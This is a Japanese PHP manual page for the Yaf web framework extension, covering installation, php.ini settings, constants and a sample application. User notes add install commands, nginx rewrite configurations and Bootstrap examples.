note, there is a related bug in version 1.0.1 (see tracker)


Yet Another Framework (Yaf)

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • 例
  • アプリケーションの設定
  • Yaf_Application — Yaf_Application クラス
    • Yaf_Application::app — アプリケーションのインスタンスを取得する
    • Yaf_Application::bootstrap — ブートストラップをコールする
    • Yaf_Application::clearLastError — 直近のエラー情報を消す
    • Yaf_Application::__construct — Yaf_Application のコンストラクタ
    • Yaf_Application::__destruct — デストラクタ
    • Yaf_Application::environ — 環境を取得する
    • Yaf_Application::execute — コールバックを実行する
    • Yaf_Application::getAppDirectory — アプリケーションディレクトリを取得する
    • Yaf_Application::getConfig — 設定情報を取得する
    • Yaf_Application::getDispatcher — Yaf_Dispatcher のインスタンスを取得する
    • Yaf_Application::getLastErrorMsg — 直近で発生したエラーのメッセージを取得する
    • Yaf_Application::getLastErrorNo — 直近で発生したエラーのコードを取得する
    • Yaf_Application::getModules — 定義済みのモジュール名を取得する
    • Yaf_Application::run — Yaf_Application を開始する
    • Yaf_Application::setAppDirectory — アプリケーションディレクトリを変更する
  • Yaf_Bootstrap_Abstract — Yaf_Bootstrap_Abstract クラス
  • Yaf_Dispatcher — Yaf_Dispatcher クラス
    • Yaf_Dispatcher::autoRender — 自動レンダリングのオン/オフを切り替える
    • Yaf_Dispatcher::catchException — 例外のキャッチのオン/オフを切り替える
    • Yaf_Dispatcher::__construct — Yaf_Dispatcher のコンストラクタ
    • Yaf_Dispatcher::disableView — ビューのレンダリングを無効にする
    • Yaf_Dispatcher::dispatch — リクエストをディスパッチする
    • Yaf_Dispatcher::enableView — ビューのレンダリングを有効にする
    • Yaf_Dispatcher::flushInstantly — その場でのフラッシュのオン/オフを切り替える
    • Yaf_Dispatcher::getApplication — アプリケーションを取得する
    • Yaf_Dispatcher::getDefaultAction — Retrive the default action name
    • Yaf_Dispatcher::getDefaultController — Retrive the default controller name
    • Yaf_Dispatcher::getDefaultModule — Retrive the default module name
    • Yaf_Dispatcher::getInstance — ディスパッチャのインスタンスを取得する
    • Yaf_Dispatcher::getRequest — リクエストのインスタンスを取得する
    • Yaf_Dispatcher::getRouter — ルーターのインスタンスを取得する
    • Yaf_Dispatcher::initView — ビューを初期化して返す
    • Yaf_Dispatcher::registerPlugin — プラグインを登録する
    • Yaf_Dispatcher::returnResponse — The returnResponse purpose
    • Yaf_Dispatcher::setDefaultAction — デフォルトのアクション名を変更する
    • Yaf_Dispatcher::setDefaultController — デフォルトのコントローラ名を変更する
    • Yaf_Dispatcher::setDefaultModule — デフォルトのモジュール名を変更する
    • Yaf_Dispatcher::setErrorHandler — エラーハンドラを設定する
    • Yaf_Dispatcher::setRequest — The setRequest purpose
    • Yaf_Dispatcher::setView — カスタムビューエンジンを設定する
    • Yaf_Dispatcher::throwException — 例外のスローのオン/オフを切り替える
  • Yaf_Config_Abstract — Yaf_Config_Abstract クラス
    • Yaf_Config_Abstract::get — ゲッター
    • Yaf_Config_Abstract::readonly — 設定項目が読み込み専用かどうかを調べる
    • Yaf_Config_Abstract::set — セッター
    • Yaf_Config_Abstract::toArray — 配列に変換する
  • Yaf_Config_Ini — Yaf_Config_Ini クラス
    • Yaf_Config_Ini::__construct — Yaf_Config_Ini のコンストラクタ
    • Yaf_Config_Ini::count — Yaf_Config.ini の全ての要素を数える
    • Yaf_Config_Ini::current — 現在の値を取得する
    • Yaf_Config_Ini::__get — 要素を取得する
    • Yaf_Config_Ini::__isset — キーが存在するかを判定する
    • Yaf_Config_Ini::key — 現在の要素のキーを取得する
    • Yaf_Config_Ini::next — 内部ポインタを進める
    • Yaf_Config_Ini::offsetExists — The offsetExists purpose
    • Yaf_Config_Ini::offsetGet — The offsetGet purpose
    • Yaf_Config_Ini::offsetSet — The offsetSet purpose
    • Yaf_Config_Ini::offsetUnset — The offsetUnset purpose
    • Yaf_Config_Ini::readonly — The readonly purpose
    • Yaf_Config_Ini::rewind — The rewind purpose
    • Yaf_Config_Ini::__set — The __set purpose
    • Yaf_Config_Ini::toArray — PHP の配列として構成を返す
    • Yaf_Config_Ini::valid — The valid purpose
  • Yaf_Config_Simple — Yaf_Config_Simple クラス
    • Yaf_Config_Simple::__construct — コンストラクタ
    • Yaf_Config_Simple::count — The count purpose
    • Yaf_Config_Simple::current — The current purpose
    • Yaf_Config_Simple::__get — The __get purpose
    • Yaf_Config_Simple::__isset — The __isset purpose
    • Yaf_Config_Simple::key — The key purpose
    • Yaf_Config_Simple::next — The next purpose
    • Yaf_Config_Simple::offsetExists — The offsetExists purpose
    • Yaf_Config_Simple::offsetGet — The offsetGet purpose
    • Yaf_Config_Simple::offsetSet — The offsetSet purpose
    • Yaf_Config_Simple::offsetUnset — The offsetUnset purpose
    • Yaf_Config_Simple::readonly — The readonly purpose
    • Yaf_Config_Simple::rewind — The rewind purpose
    • Yaf_Config_Simple::__set — The __set purpose
    • Yaf_Config_Simple::toArray — PHP の配列を返す
    • Yaf_Config_Simple::valid — The valid purpose
  • Yaf_Controller_Abstract — Yaf_Controller_Abstract クラス
    • Yaf_Controller_Abstract::__construct — Yaf_Controller_Abstract のコンストラクタ
    • Yaf_Controller_Abstract::display — The display purpose
    • Yaf_Controller_Abstract::forward — 別のアクションに転送する
    • Yaf_Controller_Abstract::getInvokeArg — The getInvokeArg purpose
    • Yaf_Controller_Abstract::getInvokeArgs — The getInvokeArgs purpose
    • Yaf_Controller_Abstract::getModuleName — モジュール名を取得する
    • Yaf_Controller_Abstract::getName — Get self name
    • Yaf_Controller_Abstract::getRequest — 現在のリクエストオブジェクトを取得する
    • Yaf_Controller_Abstract::getResponse — 現在のレスポンスオブジェクトを取得する
    • Yaf_Controller_Abstract::getView — ビューエンジンを取得する
    • Yaf_Controller_Abstract::getViewpath — getViewpath の目的を書く
    • Yaf_Controller_Abstract::init — コントローラを初期化する
    • Yaf_Controller_Abstract::initView — The initView purpose
    • Yaf_Controller_Abstract::redirect — URL にリダイレクトする
    • Yaf_Controller_Abstract::render — ビューテンプレートをレンダリングする
    • Yaf_Controller_Abstract::setViewpath — The setViewpath purpose
  • Yaf_Action_Abstract — Yaf_Action_Abstract クラス
    • Yaf_Action_Abstract::execute — アクションのエントリポイント
    • Yaf_Action_Abstract::getController — コントローラオブジェクトを取得する
    • Yaf_Action_Abstract::getControllerName — Get controller name
  • Yaf_View_Interface — Yaf_View_Interface クラス
    • Yaf_View_Interface::assign — 値をビューエンジンに代入する
    • Yaf_View_Interface::display — テンプレートをレンダリングして出力する
    • Yaf_View_Interface::getScriptPath — The getScriptPath purpose
    • Yaf_View_Interface::render — テンプレートをレンダリングする
    • Yaf_View_Interface::setScriptPath — The setScriptPath purpose
  • Yaf_View_Simple — Yaf_View_Simple クラス
    • Yaf_View_Simple::assign — 値を代入する
    • Yaf_View_Simple::assignRef — The assignRef purpose
    • Yaf_View_Simple::clear — 代入した値をクリアする
    • Yaf_View_Simple::__construct — Yaf_View_Simple のコンストラクタ
    • Yaf_View_Simple::display — レンダリングして表示する
    • Yaf_View_Simple::eval — テンプレートをレンダリングする
    • Yaf_View_Simple::__get — Retrieve assigned variable
    • Yaf_View_Simple::getScriptPath — テンプレートのディレクトリを取得する
    • Yaf_View_Simple::__isset — The __isset purpose
    • Yaf_View_Simple::render — テンプレートをレンダリングする
    • Yaf_View_Simple::__set — 値をエンジンに設定する
    • Yaf_View_Simple::setScriptPath — テンプレートのディレクトリを設定する
  • Yaf_Loader — Yaf_Loader クラス
    • Yaf_Loader::autoload — The autoload purpose
    • Yaf_Loader::clearLocalNamespace — The clearLocalNamespace purpose
    • Yaf_Loader::__construct — The __construct purpose
    • Yaf_Loader::getInstance — The getInstance purpose
    • Yaf_Loader::getLibraryPath — ライブラリパスを取得する
    • Yaf_Loader::getLocalNamespace — The getLocalNamespace purpose
    • Yaf_Loader::getNamespacePath — Retieve path of a registered namespace
    • Yaf_Loader::getLocalNamespace — Retrive all register namespaces info
    • Yaf_Loader::import — The import purpose
    • Yaf_Loader::isLocalName — The isLocalName purpose
    • Yaf_Loader::registerLocalNamespace — ローカルクラスプレフィックスを登録する
    • Yaf_Loader::registerNamespace — Register namespace with searching path
    • Yaf_Loader::setLibraryPath — ライブラリパスを変更する
  • Yaf_Plugin_Abstract — Yaf_Plugin_Abstract クラス
    • Yaf_Plugin_Abstract::dispatchLoopShutdown — The dispatchLoopShutdown purpose
    • Yaf_Plugin_Abstract::dispatchLoopStartup — ディスパッチループの前にフックする
    • Yaf_Plugin_Abstract::postDispatch — The postDispatch purpose
    • Yaf_Plugin_Abstract::preDispatch — The preDispatch purpose
    • Yaf_Plugin_Abstract::preResponse — The preResponse purpose
    • Yaf_Plugin_Abstract::routerShutdown — The routerShutdown purpose
    • Yaf_Plugin_Abstract::routerStartup — RouterStartup フック
  • Yaf_Registry — Yaf_Registry クラス
    • Yaf_Registry::__construct — Yaf_Registry はシングルトンを実装する
    • Yaf_Registry::del — アイテムをレジストリから削除する
    • Yaf_Registry::get — アイテムをレジストリから取得する
    • Yaf_Registry::has — アイテムが存在するかどうかを調べる
    • Yaf_Registry::set — アイテムをレジストリに追加する
  • Yaf_Request_Abstract — Yaf_Request_Abstract クラス
    • Yaf_Request_Abstract::clearParams — Remove all params
    • Yaf_Request_Abstract::getActionName — The getActionName purpose
    • Yaf_Request_Abstract::getBaseUri — The getBaseUri purpose
    • Yaf_Request_Abstract::getControllerName — The getControllerName purpose
    • Yaf_Request_Abstract::getEnv — ENV 変数を取得する
    • Yaf_Request_Abstract::getException — The getException purpose
    • Yaf_Request_Abstract::getLanguage — クライアントの好きな言語を取得する
    • Yaf_Request_Abstract::getMethod — リクエストメソッドを取得する
    • Yaf_Request_Abstract::getModuleName — The getModuleName purpose
    • Yaf_Request_Abstract::getParam — 呼び出しパラメータを取得する
    • Yaf_Request_Abstract::getParams — 全ての呼び出しパラメータを取得する
    • Yaf_Request_Abstract::getRequestUri — The getRequestUri purpose
    • Yaf_Request_Abstract::getServer — SERVER 変数を取得する
    • Yaf_Request_Abstract::isCli — CLIリクエストかを判定する
    • Yaf_Request_Abstract::isDispatched — リクエストがディスパッチ済みかを判定する
    • Yaf_Request_Abstract::isGet — GETリクエストかどうかを判定する
    • Yaf_Request_Abstract::isHead — HEADリクエストかどうかを判定する
    • Yaf_Request_Abstract::isOptions — OPTIONS リクエストかどうかを判定する
    • Yaf_Request_Abstract::isPost — POST リクエストかどうかを判定する
    • Yaf_Request_Abstract::isPut — PUTリクエストかどうかを判定する
    • Yaf_Request_Abstract::isRouted — リクエストがルーティング済みかを判定する
    • Yaf_Request_Abstract::isXmlHttpRequest — AJAXリクエストかどうかを判定する
    • Yaf_Request_Abstract::setActionName — アクション名を設定する
    • Yaf_Request_Abstract::setBaseUri — ベース URI を設定する
    • Yaf_Request_Abstract::setControllerName — コントローラー名を設定する
    • Yaf_Request_Abstract::setDispatched — The setDispatched purpose
    • Yaf_Request_Abstract::setModuleName — モジュール名を設定する
    • Yaf_Request_Abstract::setParam — 呼び出しパラメータをリクエストに設定する
    • Yaf_Request_Abstract::setRequestUri — The setRequestUri purpose
    • Yaf_Request_Abstract::setRouted — The setRouted purpose
  • Yaf_Request_Http — Yaf_Request_Http クラス
    • Yaf_Request_Http::__construct — Yaf_Request_Http のコンストラクタ
    • Yaf_Request_Http::get — クライアントからの変数を取得する
    • Yaf_Request_Http::getCookie — Cookie 変数を取得する
    • Yaf_Request_Http::getFiles — The getFiles purpose
    • Yaf_Request_Http::getPost — POST 変数を取得する
    • Yaf_Request_Http::getQuery — クエリパラメータを取得する
    • Yaf_Request_Http::getRaw — 生のリクエストボディを取得する
    • Yaf_Request_Http::getRequest — The getRequest purpose
    • Yaf_Request_Http::isXmlHttpRequest — リクエストが Ajax リクエストかどうかを判断する
  • Yaf_Request_Simple — Yaf_Request_Simple クラス
    • Yaf_Request_Simple::__construct — Yaf_Request_Simple のコンストラクタ
    • Yaf_Request_Simple::get — The get purpose
    • Yaf_Request_Simple::getCookie — The getCookie purpose
    • Yaf_Request_Simple::getFiles — The getFiles purpose
    • Yaf_Request_Simple::getPost — The getPost purpose
    • Yaf_Request_Simple::getQuery — The getQuery purpose
    • Yaf_Request_Simple::getRequest — The getRequest purpose
    • Yaf_Request_Simple::isXmlHttpRequest — リクエストが AJAX 経由のリクエストかどうかを判定する
  • Yaf_Response_Abstract — Yaf_Response_Abstract クラス
    • Yaf_Response_Abstract::appendBody — レスポンス本文に追記する
    • Yaf_Response_Abstract::clearBody — 既存のすべてのレスポンス本文を破棄します
    • Yaf_Response_Abstract::clearHeaders — すべてのヘッダをクリアする
    • Yaf_Response_Abstract::__construct — The __construct purpose
    • Yaf_Response_Abstract::__destruct — The __destruct purpose
    • Yaf_Response_Abstract::getBody — コンテンツを取得する
    • Yaf_Response_Abstract::getHeader — getHeader の目的
    • Yaf_Response_Abstract::prependBody — The prependBody purpose
    • Yaf_Response_Abstract::response — レスポンスを送信する
    • Yaf_Response_Abstract::setAllHeaders — The setAllHeaders purpose
    • Yaf_Response_Abstract::setBody — コンテンツをレスポンスに設定する
    • Yaf_Response_Abstract::setHeader — レスポンスヘッダを設定する
    • Yaf_Response_Abstract::setRedirect — The setRedirect purpose
    • Yaf_Response_Abstract::__toString — すべてのレスポンスボディを文字列として取得する
  • Yaf_Route_Interface — Yaf_Route_Interface クラス
    • Yaf_Route_Interface::assemble — リクエストを組み立てる
    • Yaf_Route_Interface::route — リクエストをルーティングする
  • Yaf_Route_Map — Yaf_Route_Map クラス
    • Yaf_Route_Map::assemble — URLを組み立てる
    • Yaf_Route_Map::__construct — The __construct purpose
    • Yaf_Route_Map::route — route の目的
  • Yaf_Route_Regex — Yaf_Route_Regex クラス
    • Yaf_Route_Regex::assemble — URL を組み立てる
    • Yaf_Route_Regex::__construct — Yaf_Route_Regex のコンストラクタ
    • Yaf_Route_Regex::route — The route purpose
  • Yaf_Route_Rewrite — Yaf_Route_Rewrite クラス
    • Yaf_Route_Rewrite::assemble — URLを組み立てる
    • Yaf_Route_Rewrite::__construct — Yaf_Route_Rewrite のコンストラクタ
    • Yaf_Route_Rewrite::route — The route purpose
  • Yaf_Router — Yaf_Router クラス
    • Yaf_Router::addConfig — 設定で定義したルートをルーターに追加する
    • Yaf_Router::addRoute — 新しいルートをルーターに追加する
    • Yaf_Router::__construct — Yaf_Router のコンストラクタ
    • Yaf_Router::getCurrentRoute — 使われているルート名を取得する
    • Yaf_Router::getRoute — 名前を指定してルートを取得する
    • Yaf_Router::getRoutes — 登録済みのルートを取得する
    • Yaf_Router::route — The route purpose
  • Yaf_Route_Simple — Yaf_Route_Simple クラス
    • Yaf_Route_Simple::assemble — URLを組み立てる
    • Yaf_Route_Simple::__construct — Yaf_Route_Simple のコンストラクタ
    • Yaf_Route_Simple::route — リクエストをルーティングする
  • Yaf_Route_Static — Yaf_Route_Static クラス
    • Yaf_Route_Static::assemble — URL を組み立てる
    • Yaf_Route_Static::match — The match purpose
    • Yaf_Route_Static::route — リクエストをルーティングする
  • Yaf_Route_Supervar — Yaf_Route_Supervar クラス
    • Yaf_Route_Supervar::assemble — URL を組み立てる
    • Yaf_Route_Supervar::__construct — The __construct purpose
    • Yaf_Route_Supervar::route — The route purpose
  • Yaf_Session — Yaf_Session クラス
    • Yaf_Session::__construct — Yaf_Session のコンストラクタ
    • Yaf_Session::count — The count purpose
    • Yaf_Session::current — The current purpose
    • Yaf_Session::del — The del purpose
    • Yaf_Session::__get — The __get purpose
    • Yaf_Session::getInstance — The getInstance purpose
    • Yaf_Session::has — The has purpose
    • Yaf_Session::__isset — The __isset purpose
    • Yaf_Session::key — The key purpose
    • Yaf_Session::next — The next purpose
    • Yaf_Session::offsetExists — The offsetExists purpose
    • Yaf_Session::offsetGet — The offsetGet purpose
    • Yaf_Session::offsetSet — The offsetSet purpose
    • Yaf_Session::offsetUnset — The offsetUnset purpose
    • Yaf_Session::rewind — The rewind purpose
    • Yaf_Session::__set — The __set purpose
    • Yaf_Session::start — The start purpose
    • Yaf_Session::__unset — The __unset purpose
    • Yaf_Session::valid — The valid purpose
  • Yaf_Exception — Yaf_Exception クラス
    • Yaf_Exception::__construct — コンストラクタ
    • Yaf_Exception::getPrevious — The getPrevious purpose
  • Yaf_Exception_TypeError — Yaf_Exception_TypeError クラス
  • Yaf_Exception_StartupError — Yaf_Exception_StartupError クラス
  • Yaf_Exception_DispatchFailed — Yaf_Exception_DispatchFailed クラス
  • Yaf_Exception_RouterFailed — Yaf_Exception_RouterFailed クラス
  • Yaf_Exception_LoadFailed — Yaf_Exception_LoadFailed クラス
  • Yaf_Exception_LoadFailed_Module — Yaf_Exception_LoadFailed_Module クラス
  • Yaf_Exception_LoadFailed_Controller — Yaf_Exception_LoadFailed_Controller クラス
  • Yaf_Exception_LoadFailed_Action — Yaf_Exception_LoadFailed_Action クラス
  • Yaf_Exception_LoadFailed_View — Yaf_Exception_LoadFailed_View クラス

User Contributed Notes

498936940 at qq dot com 20-Sep-2018 12:28
YAF based on the actual case:Hooks、Event、Modules、Plugins、Multiple templates、Multiple languages、SQL Centralized Management...
Support Electric Business Platform、OA、ERP、IaaS、PaaS、SaaS、Blog、Cms...
Common features required by any platform: User、Acl、Menu...

https://github.com/letwang/HookPHP


はじめに

Yet Another Framework(Yaf) 拡張モジュールは PHP のフレームワークで、ウェブアプリケーションの開発に使います。

Yaf を使うには PHP 5.2.1 より新しいバージョンが必要です。 それより前のバージョンの PHP では動かないかもしれません。

ちょっとした Yaf のベンチマークが » Yaf Performance にあります。

手っ取り早く使い始めるには、チュートリアルを参照ください。

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

この » PECL 拡張 モジュールは PHP にバンドルされていません。

この PECL 拡張モジュールをインストールする方法は、 マニュアルの PECL 拡張モジュールのインストール という章にあります。 新規リリース・ダウンロード・ソースファイル・管理者情報・CHANGELOG といった関連する情報については、次の場所にあります。 » https://pecl.php.net/package/yaf.

この PECL 拡張モジュールの Windows バイナリ (DLL ファイル) は、PECL のウェブサイトから取得できます。

User Contributed Notes

vick dot qi at yahoo dot com 05-Aug-2016 05:05
PHP 5.4.X-5.6.X should intall yaf version 2.3.4
qbhust at gmail dot com 26-Sep-2015 03:29
Yaf can be installed from source code by:

cd /path/to/yaf-src/
phpize
./configure
make
sudo make install
mikespook at gmail dot com 04-Dec-2013 09:49
Install PHP-YAF to Ubuntu from PPA:

> sudo add-apt-repository ppa:mikespook/php5-yaf
> sudo apt-get update
> sudo apt-get install php5-yaf
alex at corretge dot cat 17-Apr-2013 02:22
Yaf is an PECL extension, thus you can simply install it by:

pecl install yaf


実行時設定

php.ini の設定により動作が変化します。

Yaf 設定オプション
名前 | デフォルト | 変更可能 | 変更履歴
yaf.library |  | PHP_INI_ALL |
yaf.action_prefer | 0 | PHP_INI_ALL |
yaf.lowcase_path | 0 | PHP_INI_ALL |
yaf.use_spl_autoload | 0 | PHP_INI_ALL |
yaf.forward_limit | 5 | PHP_INI_ALL |
yaf.name_suffix | 1 | PHP_INI_ALL |
yaf.name_separator |  | PHP_INI_ALL |
yaf.cache_config | 0 | PHP_INI_SYSTEM |
yaf.environ | product | PHP_INI_SYSTEM |
yaf.use_namespace | 0 | PHP_INI_ALL |

以下に設定ディレクティブに関する 簡単な説明を示します。

yaf.library string

グローバルライブラリパス。Yaf_loader は グローバルライブラリをこのディレクトリから探します。

yaf.action_prefer int

PATH_INFO の要素がひとつだけだった場合に、 それをコントローラとみなすかアクションとみなすか。

この設定を On にすると、アクション名とみなします。

yaf.lowcase_path int

クラスのオートロード時に、すべてのパスを小文字にするかどうか。

yaf.use_spl_autoload int

この値を On にすると、Yaf_Loader がクラスを見つけられなかったときに false を返し、 その他のオートロード関数を呼べるようにします。

この値を Off にすると、Yaf_Loader がクラスを見つけられなかったときに true を返し、 クラスのオートロードをそこで失敗させます。

注意:

Yaf がローダーを登録するのは Yaf_Application のインスタンスを作るときです。 なので、その前に登録されたオートローダーが呼ばれるのは Yaf_Loader::autoload() より前になります。

この値が Off (デフォルト) の場合、 Yaf_Loader::autoload() は常に true を返します。

yaf.forward_limit int

最大の転送回数で、デフォルトは 5。 つまり、最大で 5 件まで転送スタックに積めるということです。

これは、 Yaf_Controller_Abstract::forward() の再帰を防ぐための保護です。

yaf.name_suffix int

これを On にすると、Yaf_Loader はクラスのサフィックスを見て MVC クラスかどうかを判断します。

これが Off の場合は、Yaf_Loader はクラス名のプレフィックスを見ます。

yaf.name_separator string

空の値以外を指定すると、Yaf_Loader はクラスのサフィックスを この文字列で判断します。

たとえば、この値を "_" にすると、Yaf_Loader は Index_Controller をコントローラクラスとみなし、IndexController は通常のクラスとみなします。

yaf.cache_config int

これを On にしているときに ini ファイルを Yaf_Application() のパラメータに使うと、ini ファイルのコンパイル結果を PHP プロセスにキャッシュします。

注意:

Yaf は ini ファイルの最終更新時刻を調べ、 前回のコンパイル以降に変更があった場合は読みなおします。

警告

Yaf は ini ファイルのパスをキャッシュエントリのキーとして使います。 そのため、ini ファイルは絶対パスで指定しておきましょう。 そうしないと、もし複数のアプリケーションが 同じ相対パスに ini ファイルを持っていたときに、衝突が発生します。

yaf.environ string

デフォルト値は "product" で、Yaf が ini ファイルのどのセクションを読み込むのかを指定します。

つまり、もしこの値が "product" なら、Yaf は ini ファイルの "product" セクションを読んで Yaf_Application の最終設定をします。ini ファイルは Yaf_Application への最初の引数で指定します。

yaf.use_namespace int

PHP 5.3 以降でだけ機能します。この値を On にすると、 Yaf のすべてのクラスが名前空間形式になります。

たとえば

Yaf_Route_Rewrite => \Yaf\Route\Rewrite
Yaf_Request_Http  => \Yaf\Request\Http
のようになります。ただ、 Yaf_Controller_Abstract のような例外もあります。最後の部分が PHP の予約語と同じなので、 クラス名として使うことができません。そんなクラスの場合は、次のようになります。
Yaf_Controller_Abstract => \Yaf\Controller_Abstract
Yaf_Route_Static => \Yaf\Route_Static

User Contributed Notes

There are no user contributed notes for this page.


定義済み定数

以下の定数が定義されています。 この関数の拡張モジュールが PHP 組み込みでコンパイルされているか、 実行時に動的にロードされている場合のみ使用可能です。

YAF_VERSION (string)
YAF_ENVIRON (string)
YAF_ERR_STARTUP_FAILED (int)
YAF_ERR_ROUTE_FAILED (int)
YAF_ERR_DISPATCH_FAILED (int)
YAF_ERR_AUTOLOAD_FAILED (int)
YAF_ERR_NOTFOUND_MODULE (int)
YAF_ERR_NOTFOUND_CONTROLLER (int)
YAF_ERR_NOTFOUND_ACTION (int)
YAF_ERR_NOTFOUND_VIEW (int)
YAF_ERR_CALL_FAILED (int)
YAF_ERR_TYPE_ERROR (int)

User Contributed Notes

lee dot howarth dot 90 at gmail dot com 03-Apr-2014 07:59
The documentation here is not fully correct.

<?php

    print_r(get_defined_constants());
   die;

?>

Will show basically:

  [PHP_YAF_VERSION] => 2.3.2
    [YAF_ENVIRON] => product
    [YAF_ERR_STARTUP_FAILED] => 512
    [YAF_ERR_ROUTE_FAILED] => 513
    [YAF_ERR_DISPATCH_FAILED] => 514
    [YAF_ERR_AUTOLOAD_FAILED] => 520
    [YAF_ERR_NOTFOUND_MODULE] => 515
    [YAF_ERR_NOTFOUND_CONTROLLER] => 516
    [YAF_ERR_NOTFOUND_ACTION] => 517
    [YAF_ERR_NOTFOUND_VIEW] => 518
    [YAF_ERR_CALL_FAILED] => 519
    [YAF_ERR_TYPE_ERROR] => 521

So use PHP_YAF_VERSION instead of just YAF_VERSION


例

例1 標準的なアプリケーションのディレクトリ構造

- index.php
- .htaccess
+ conf
  |- application.ini // アプリケーションの設定
- application/
  - Bootstrap.php
  + controllers
     - Index.php // デフォルトのコントローラ
  + views
     |+ index
        - index.phtml // デフォルトアクション用のビューテンプレート
  + modules
  - library
  - models
  - plugins

例2 エントリ

トップディレクトリの index.php が、アプリケーションの唯一の入り口です。 index.php へのすべてのリクエストをリダイレクトしなければいけません (Apache+mod_php なら .htaccess を使えます)。

<?php
define("APPLICATION_PATH",  dirname(__FILE__));

$app  = new Yaf_Application(APPLICATION_PATH . "/conf/application.ini");
$app->bootstrap() // Bootstrap.php で定義した bootstrap メソッドを呼びます
 ->run();
?>

例3 リライトルール

# apache (.htaccess)
RewriteEngine On
RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule .* index.php

# nginx
server {
  listen ****;
  server_name  domain.com;
  root   document_root;
  index  index.php index.html index.htm;

  if (!-e $request_filename) {
    rewrite ^/(.*)  /index.php$1 last;
  }
}

# lighttpd
$HTTP["host"] =~ "(www.)?domain.com$" {
  url.rewrite = (
     "^/(.+)/?$"  => "/index.php/$1",
  )
}

例4 アプリケーションの設定

[yaf]
; APPLICATION_PATH は index.php で定義した定数
application.directory=APPLICATION_PATH "/application/"

; product セクションは yaf セクションを継承する
[product:yaf]
foo=bar

例5 デフォルトのコントローラ

<?php
class IndexController extends Yaf_Controller_Abstract {
   /* デフォルトアクション */
   public function indexAction() {
       $this->_view->word = "hello world";
       // あるいは
       // $this->getView()->word = "hello world";
   }
}
?>

例6 デフォルトのビューテンプレート

<html>
 <head>
   <title>Hello World</title>
 </head>
 <body>
   <?php echo $word;?>
 </body>
</html>

例7 アプリケーションの実行結果

上の例の出力は、 たとえば以下のようになります。

<html>
 <head>
   <title>Hello World</title>
 </head>
 <body>
   hello world
 </body>
</html>

注意:

このサンプルは Yaf のコードジェネレータで生成できます。コードジェネレータは yaf@github にあります。

User Contributed Notes

YangQingRong at wudimei dot com 30-Jul-2020 12:07
nginx重写不知?什?死循?

rewrite ^/(.*)  /index.php/$1 last;

/index.php/index.php/index.php/index.php/index.php/index.php/index.php/index.php/Index

后来我改成??字符串就解决了。

location / {

            index index.php index.html index.htm;
            if (!-e $request_filename){
               rewrite ^/(.*)$ /index.php?_path_info=/$1 last;
            }
        }

在index.php中，把query string "_path_info" 放到$_SERVER?量中。
<?php
ini_set("display_errors",true);
error_reporting(E_ALL|E_ERROR);

//print_r($_SERVER);

$_SERVER['PATH_INFO']=@$_GET['_path_info']; //加?一行，yaf只?PATH_INFO

define("APPLICATION_PATH",dirname(__DIR__));

$app = new Yaf\Application(APPLICATION_PATH.'/conf/application.ini');

$app->bootstrap()->run();

?>
YangQingRong at wudimei dot com 30-Jul-2020 12:07
nginx重写不知?什?死循?

rewrite ^/(.*)  /index.php/$1 last;

/index.php/index.php/index.php/index.php/index.php/index.php/index.php/index.php/Index

后来我改成??字符串就解决了。

location / {

            index index.php index.html index.htm;
            if (!-e $request_filename){
               rewrite ^/(.*)$ /index.php?_path_info=/$1 last;
            }
        }

在index.php中，把query string "_path_info" 放到$_SERVER?量中。
<?php
ini_set("display_errors",true);
error_reporting(E_ALL|E_ERROR);

//print_r($_SERVER);

$_SERVER['PATH_INFO']=@$_GET['_path_info']; //加?一行，yaf只?PATH_INFO

define("APPLICATION_PATH",dirname(__DIR__));

$app = new Yaf\Application(APPLICATION_PATH.'/conf/application.ini');

$app->bootstrap()->run();

?>
498936940 at qq dot com 13-Jul-2018 05:42
YAF based on the actual case:Hooks、Event、Modules、Plugins、Multiple templates、Multiple languages、SQL Centralized Management...
Support Electric Business Platform、OA、ERP、IaaS、PaaS、SaaS、Blog、Cms...
Common features required by any platform: User、Acl、Menu...

https://github.com/letwang/HookPHP
yeszao at qq dot com 15-Apr-2016 02:10
I success in "application" directory set to:

- application/
  - Bootstrap.php
  + modules
    + Index
      + controllers
         - Index.php         //default controller
      + views
         |+ index
            - index.phtml   //view template for default action
  - library
  - models
  - plugins

And Bootstrap.php should be enter at least 3 line like these:

<?php
class Bootstrap extends Yaf_Bootstrap_Abstract {
}
zhaozhi406 at 163 dot com 03-Dec-2015 04:09
the nginx rewrite rule should be:

if (!-e $request_filename) {
       rewrite ^/(.*)  /index.php?$1 last;
}
fatih dot akgun at hotmail dot be 09-Jul-2015 08:17
Alternative

you can generate the example above by using Yaf Code Generator: https://github.com/laruence/php-yaf/tree/master/tools/cg
jshawcx at gmail dot com 13-Mar-2015 03:15
use  nginx  and php-fpm   you can   config:

    location / {
        try_files $uri    $uri/    /index.php$is_args$args;
        }

        location ~ \.php$ {
                fastcgi_pass   127.0.0.1:9000;
               #fastcgi_pass unix:/tmp/php-cgi.sock;
                fastcgi_index  index.php;
            fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
        include        fastcgi_params;
        }
winston 11-Mar-2015 04:30
When you use nginx & php-fpm config for yaf frame, you must set PATH_INFO support in nginx. Otherwise, it will not work.
Demo :
location / {
  try_files $uri $uri/ @path_rw;
}

#path_info is needed by some php frameworks like yaf/thinkphp
location @path_rw {
  rewrite ^/(.*)$  /index.php/$1 last;
}

location ~ \.php {
  fastcgi_pass unix:/dev/shm/php-cgi.sock;
  fastcgi_index index.php;
  include fastcgi.conf;

  fastcgi_split_path_info ^(.+?\.php)(/.+)$;
  fastcgi_param SCRIPT_FILENAME   $document_root$fastcgi_script_name;
  fastcgi_param SCRIPT_NAME $fastcgi_script_name;
  fastcgi_param PATH_INFO $fastcgi_path_info;
}
Li Min 31-Oct-2013 06:26
http://us3.php.net/manual/zh/yaf.tutorials.php

Lost default Bootstrap.php

<?php
   /* bootstrap class should be defined under ./application/Bootstrap.php */
   class Bootstrap extends Yaf_Bootstrap_Abstract {
        public function _initConfig(Yaf_Dispatcher $dispatcher) {
            var_dump(__METHOD__);
        }
        public function _initPlugin(Yaf_Dispatcher $dispatcher) {
            var_dump(__METHOD__);
        }
   }


アプリケーションの設定

設定内容を記した配列か、あるいは ini ファイルへのパス (Yaf_Config_Ini を参照ください) を Yaf_Application::__construct() に渡さなければいけません。

